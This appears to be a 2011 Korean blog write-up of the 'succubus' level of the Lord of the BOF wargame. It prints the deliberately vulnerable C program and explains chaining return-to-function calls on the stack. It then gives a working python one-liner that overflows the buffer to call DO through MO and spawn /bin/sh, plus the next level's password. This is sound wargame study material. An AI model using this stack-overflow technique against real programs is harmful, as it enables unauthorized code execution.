2011. 6. 12. 05:04

[view source]

/*

The Lord of the BOF : The Fellowship of the BOF

- succubus

- calling functions continuously

*/

   

#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>

   

// the inspector

int check = 0;

   

void MO(char *cmd)

{

if(check != 4)

exit(0);

   

printf("welcome to the MO!\n");

   

// olleh!

system(cmd);

}

   

void YUT(void)

{

if(check != 3)

exit(0);

   

printf("welcome to the YUT!\n");

check = 4;

}

   

void GUL(void)

{

if(check != 2)

exit(0);

   

printf("welcome to the GUL!\n");

check = 3;

}

   

void GYE(void)

{

if(check != 1)

exit(0);

   

printf("welcome to the GYE!\n");

check = 2;

}

   

void DO(void)

{

printf("welcome to the DO!\n");

check = 1;

}

   

main(int argc, char *argv[])

{

char buffer[40];

char *addr;

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

// you cannot use library

if(strchr(argv[1], '\x40')){

printf("You cannot use library\n");

exit(0);

}

   

// check address

addr = (char *)&DO;

if(memcmp(argv[1]+44, &addr, 4) != 0){

printf("You must fall in love with DO\n");

exit(0);

}

   

// overflow!

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

   

// stack destroyer

// 100 : extra space for copied argv[1]

memset(buffer, 0, 44);

memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));

   

// LD_* eraser

// 40 : extra space for memset function

memset(buffer-3000, 0, 3000-40);

}


1) argv[1]에서 "\x40"이 유무 체크. (library 함수를 사용하지 못함)
2) RET에는 DO함수 주소가 있어야 함.
3) RET이후 100Byte 사용가능.
♧ RTL개념과 같다. 다만 각 함수마다 플래그 체크를 하여 <DO> <GYE> <GUL> <YUT> <MO> 순으로 호출해야 한다.


 

   

[ summary ]

스택에서 함수 호출은 다음과 같은 모양이다.

함수 주소

리턴 주소

인자 1

인자 2

인자 3


그러나 리턴 주소 부분에 다시 함수 호출을 한다면 연속 적으로 호출 할 수 있다.
다만 인자가 없는 함수 호출만 연속적으로 호출 할 수 있다.

그리고 마지막에 호출되는 함수는 인자를 사용 할 수 있다.

   

그리고 맨 마지막 <MO> 함수는 system(인자)를 호출하게 되는데
사용 할 수 있는 스택은 RET 부터 +100byte뿐임으로 다음과 같이 구성한다.

<BUFFER>

<SFP>

<DO>

..[중략]..

<MO>

<RET:더미>

&("bash")문자열 주소

"bash"

  


   

[ Attack ]

필요한 주소 구하기.

ⓐ 도,개,걸,윳,모 주소

ⓑ "/bin/sh"문자열 주소

[버퍼 주소 40Byte] + [SFP4Byte] + [도, 개, 걸, 윳, 모 20Byte] + [더미4Byte] + [&("/bin/sh")4Byte]

= 0xbffffa70 + 40 + 4 + 20 + 4 + 4 = [ 0xbffffab8 ]

   

∑xploit

$(python -c 'print "A"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "dmmm" + "\xb8\xfa\xff\xbf" + "/bin/sh"')


※ 사전에 chsh명령 -> bash2로 변경 후 재로그인 함

zombie_assassin : "no place to hide"

Posted by devanix